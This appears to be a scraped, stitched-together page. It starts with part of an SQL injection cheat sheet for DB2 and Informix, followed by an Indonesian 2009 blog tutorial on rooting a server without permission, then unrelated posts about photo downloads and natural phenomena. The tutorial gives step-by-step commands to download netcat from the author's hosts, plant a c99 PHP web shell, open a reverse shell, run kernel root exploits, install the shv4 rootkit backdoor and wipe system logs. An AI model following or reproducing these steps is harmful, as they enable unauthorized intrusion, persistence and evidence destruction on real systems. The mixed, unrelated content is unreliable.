Casting | SELECT cast(‘123′ as integer) FROM sysibm.sysdummy1; SELECT cast(1 as char) FROM sysibm.sysdummy1; |
String Concatenation | SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’ select ‘a’ || ‘b’ from sysibm.sysdummy1; — returns ‘ab’ |
If Statement | TODO |
Case Statement | TODO |
Avoiding Quotes | TODO |
Time Delay | ???See Heavy Queries article for some ideas. |
Make DNS Requests | TODO |
Command Execution | TODO |
Local File Access | TODO |
Hostname, IP Address | TODO |
Location of DB files | TODO |
Default/System Databases | TODO |
Informix
Version | SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ’server-type’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1; SELECT |
Comments | select 1 FROM systables WHERE tabid = 1; — comment |
Current User | SELECT USER FROM systables WHERE tabid = 1; select CURRENT_ROLE FROM systables WHERE tabid = 1; |
List Users | select username, usertype, password from sysusers; |
List Password Hashes | TODO |
List Privileges | select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users select procname, owner, grantor, grantee |
List DBA Accounts | TODO |
Current Database | SELECT DBSERVERNAME FROM systables where tabid = 1; — server name |
List Databases | select name, owner from sysdatabases; |
List Columns | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; |
List Tables | select tabname, owner FROM systables; select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid; |
List Stored Procedures | select procname, owner FROM sysprocedures; |
Find Tables From Column Name | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’; |
Select Nth Row | select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row |
Select Nth Char | SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’ |
Bitwise AND | select bitand(6, 1) from systables where tabid = 1; — returns 0 select bitand(6, 2) from systables where tabid = 1; — returns 2 |
ASCII Value -> Char | TODO |
Char -> ASCII Value | select ascii(‘A’) from systables where tabid = 1; |
Casting | select cast(‘123′ as integer) from systables where tabid = 1; select cast(1 as char) from systables where tabid = 1; |
String Concatenation | SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’ SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’ |
String Length | SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables; |
If Statement | TODO |
Case Statement | select tabid, case when tabid>10 then “High” else ‘Low’ end from systables; |
Avoiding Quotes | TODO |
Time Delay | TODO |
Make DNS Requests | TODO |
Command Execution | TODO |
Local File Access | TODO |
Hostname, IP Address | SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname |
Location of DB files | TODO |
Default/System Databases | These are the system databases: sysmaster sysadmin* sysuser* sysutils* * = don’t seem to contain anything / don’t allow reading |
Installing Locally | You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows. |
Database Client | There’s a database client SDK available, but I couldn’t get the demo client working. I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers (“emerge dev-java/jdbc-informix” on Gentoo). |
Logging in from command line | If you get local admin rights on a Windows box and have a GUI logon:
The set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50 set INFORMIXSERVER=testservername set ONCONFIG=ONCONFIG.testservername set set set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp set CLIENT_LOCALE=EN_US.CP1252 set DB_LOCALE=EN_US.8859-1 set SERVER_LOCALE=EN_US.CP1252 set DBLANG=EN_US.CP1252 mode con codepage select=1252 |
Identifying on the network | My default installation listened on two TCP ports: 9088 and 9099. When I created a new “server name”, this listened on 1526/TCP by default. Nmap 4.76 didn’t identify these ports as Informix: $ sudo nmap -sS -sV 10.0.0.1 -p- -v –version-all … 1526/tcp open pdap-np? 9088/tcp open unknown 9089/tcp open unknown … TODO How would we identify Informix listening on the network? |
How to use local root exploit
by d0ntcry on Nov.22, 2009, under Tutorial
Tutorial by iLhaM BLoodroSE
How to use local root exploit
www.rosebanditz.org
-=-=-=-=-=-=-=-=-=-=-=-=-=-
hy :-D
lgsg aja ya :haha:
bahan2 yang kamu butuhkan adalah :
*local.tgz -> download di http://d.rosebanditz.org
*NC -> download di http://d.rosebanditz.org
*target php (safe mode OFF)
*ssh account
*putty
@mengapa harus menggunakan ssh , dalam ngeroot ini
karena jika menggunakan shell target php , tidak bisa melakukan
bash command , bash command harus diaksses melalui ssh
the way is :
1. cari target php safe mode off yg firewallnya ga keblock
(cek port refused ato time out , kalo time out kemungkinan besar ga bisa connect pake NC )
2. buka putty kamu . login. terus masukin NC nya , (wget http://bloodrose.tk/download/exploit/nc ) kalo wget ga bisa pakai lwp-download , curl -O , kalo masih ga bisa pake winscp untuk mindah NC ke ssh kamu.
3. di ssh ketik chmod 777 nc / chmod +x nc
4. kembali pada target php gunakan backdoor c99 versi FaTaLisTiCz_Fx Fx29Sh v1 06.2008 c99 shell
download di : http://rosebanditz.tk/file/download.php?id=c74d97b01eae257e44aa9d5bade97baf
5. kembali pada putty aktifkan open port nc dengan command
./nc -lvp port misalnya ./nc -lpv 8910
6. lalu pada target php tadi dengan menggunakan backdoor tersebut
pilih backconnect gunakan isi port 8910 dan masukkan ip host dari putty kamu pilih perl lalu click connect kalo perl OFF gunakan C lalu connect
7. cek ssh kamu apabila sudah konek maka akan tersambung dengan
data2 ditarget php kamu
8. ready to war , sekarang kamu download local.tgz melalui ssh tadi yang sudah terkonek dengan shell target php , wget http://bloodrose.tk/download/exploit/local.tgz , sekali lagi kalo wget ga bisa masukkan pake lwp-download ato curl -O , kalo semisalnya masihg belum bisa masukan dengan download binary safe pada shell target php kamu
9. setelah sudah didownload ketik tar -zxvf local.tgz
10. masuk folder local dengan mengetik command cd local , lalu ketik ls -als untuk mengecek isinya
11. nah disinilah keberuntngan mulai bermain , cek kernel dengan command uname -a
12. tidak semua kernel bisa diexploit ( apalagi yg udah dipatch) hwhw
misalnya saja kita pake kernel 2.4.20 kebanyakn ini bisa di root pake exploit w00t pada local.tgz tadi jadi saat di folder local ketik ./w00t tunggu sebentar, dan wow you got the root ! :D , dan misalnya
ga pake kernel tersebut kamu bisa menggunakn exploit2 yang lain yang bisa kamu cek dengan google , ketik aja "local exploit kernel 2.4.40 misalnya , cari yg cocok lalu wget aja ke ssh kmu, misal berformat .c , misal , martha.c untuk mengexsprotnya ketik cc -o xpl martha.c , martha.c berganti dengan xpl lalu chmod +x xpl lgsg run ./xpl , tunggu aja beberapa saat lalu cek id jika id root u got the root!
13. setelah dapat root apa yang harus kita lakukan ?menginstal backdoor , saya selalu mengguhana shv untuk menginstall backdoor
saya menggunakan shv4.tar.gz , jadi commandnya sebagai berikut
pada putty kamu :
* download/upload it :
http://bloodrose.tk/download/exploit/shv4.tar.gz
* tar -zxvf shv4.tar.gz
* cd shv4
* ./setup password port
* finish :D
* cek portnya sudah accpeted apa belum kalo sudah acpted
login dengan putty pada port tersebut dan host ip tersebut
username : root password : passwordnya
14. menghapus jejak, menghapus jejak hoho mungkin banyak sekali tutor yg menjelaskan menghapus jejak , tapi saya sendiri tidak terlalu extrem menggunakan seperti itu
yg dimana namanya kita masuk tanpa izin pasti tercium juga baunya
hahaha, apalagi kalo kita gunakan root root itu dengan menginstal server , psy , bot misalnya. meskipun sudah disembunyikantetapi tetap terlihat juga (kebetulan saya pernah jadi sysadmin hehe)
tapi biasanya saya menggunakan juga command seperti ini :
echo >/var/spool/mail/root
echo >/var/run/utmp
echo >/var/log/wtmp
echo >/var/log/lastlog
echo >/var/log/messages
echo >/var/log/secure
echo >/var/log/maillog
echo >/var/log/xferlog
rm -f /.bash_history /root/.bash_history /var/tmp/messages
ln -s /dev/null /.bash_history
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ; touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r
15. sekarang terserah anda mo diapain root itu , tapi pesan saya
jangan merusak karena kasian sysadminya dan yg punya rootnya
karena mereka bekerja untuk itu , tapi ya terserah sih hak pribadi masing2 hoho :beer:
#################################
jika masih ada yg bingung bisa disampaikan disini
atau email ke admin@rosebanditz.org
sampe jumpa ditutorial berikutnya :semangat:
by iLhaM BLoodroSE
Membuat spoiler di blogspot
by d0ntcry on Nov.22, 2009, under Tutorial
Ne kodenya :
Slide foto islam
by d0ntcry on Nov.22, 2009, under Koleksi
bersih² dari koleksi lama lagi ne.. kayanya dari pakdenono search aja di google dengan keyword "pakdenono". Foto² slidenya menarik untuk membangun rasa persahabatan dan persaudaraan kita sesama umat muslim....
cek cekkirot...
1.Download this_is_israel
2.Download gaza_invasion_summer_rain
3.Download qana_massacre_2006
4.Download Massacre_in_gaza_june_2006
5.Download gaza_beach_massacre_june_2006
6.Download the_truth_about_israeli_terrorists
7.Download Massacre_in_gaza_juli_2006
8.Download israel_kills_palestinian_children_in_their_bed
9.Download israel_terrorism
10.Download Israeli_kids_sends_gifts
11.Download israeli_war_crimes
12.Download foto_dunia_mengutuk_israel
13.Download fresh_blood_from_palestine
14.Download amman_children_protest_israel
15.Download gaza_autumn_clouds_2
16.Download gaza_autumn_clouds_
17.Download A_million_solider_or_one_kid
18.Download gaza_autumn_clouds_3
19.Download atatra_massacre_gaza_2006
20.Download eid_al_fitr_massacre_oct_06
21.Download die_with_love_arab
Fenomena alam yg menakjubkan
by d0ntcry on Nov.22, 2009, under Berita, Koleksi
Lingkaran es fenomena yg sangat jarang sekali terjadi di air yg bersuhu dingin.. lingkaran es2 besar ini dapat ditemui di skandinavia dan Amerika utara, dan kejadian yg terbaru terjadi di Inggris, pada januari 2009 :
Sebuah fenomena alam yg terjadi krn berkumpulnya mikroorganisme dipesisir tempat bergabungnya air dari muara, laut atau air sungai dan membuat air menjadi berwarna ungu dan merah. :
Formasi bebatuan yg terbentuk dikarenakan lava dari letusan gunung yg mendingin. Basalt yg terkenal di dunia terletak di Giant's Causeway di Irlandia Utara. yg tampak dibawah ini. :
Batu batu berbentuk bulat yg berada di tepi pantai, terbentuk krn deburan ombak, yg terkenal berada di Pantai Koekohe. :
Fenomena alam yg hanya terjadi di tempat antara Chili dan Argentina, yaitu salju di permukaan yg tinggi yg runcing karena tiupan angin yang kuat di pegunungan andes. :
Orang Venezuela menamakan petir misterius itu Relampago del Catatumbo atau petir Catatumbo. Lokasi terjadinya petir ini di mulut sungai Catatumbo di danau maracaribo, Venezuela. Kilat ini menyambar hebat dengan tinggi 5 km. Terjadi 140 bahkan sampai 160 kali di malam hari dalam 1 tahun. Setiap malamnya terjadi sambaran selama 10 Jam. Tiap jam terjadi sebanyak 280 kali sambaran. Jadi dalam setahun kurang lebih 448.000 kali sambaran!!! Petir ini terjadi karena tumbukkan anginkencang yang berasal dari Pegunungan Andes. Konon, petir ini adalah pembentuk lapisan ozon yang paling besar di bumi :
Keajaiban alam yg tinggal kenangan krn dihancurkan oleh letusan gunung berapi tarawera pada tahun 1886, Fenomena alam air hangat ini terbentuk dari semburan geyser yang melintas menuruni lereng bukit meninggalkan ketebalan es, kolam air hangat terbesar ini tercatat 3 hektar, sebelum kehancuranya fenomena ini masuk kedalam "The Eighth Wonder of the World" :
Tambahan brow... lafadz Allah
"Kami akan memperlihatkan kepada mereka tanda-tanda (kekuasaan) Kami di segala wilayah bumi dan pada diri mereka sendiri, hingga jelas bagi mereka bahwa Al-Quran itu adalah benar. Tiadakah cukup bahwa
sesungguhnya Tuhanmu menjadi saksi atas segala sesuatu?" [QS. Al- Fushshilat]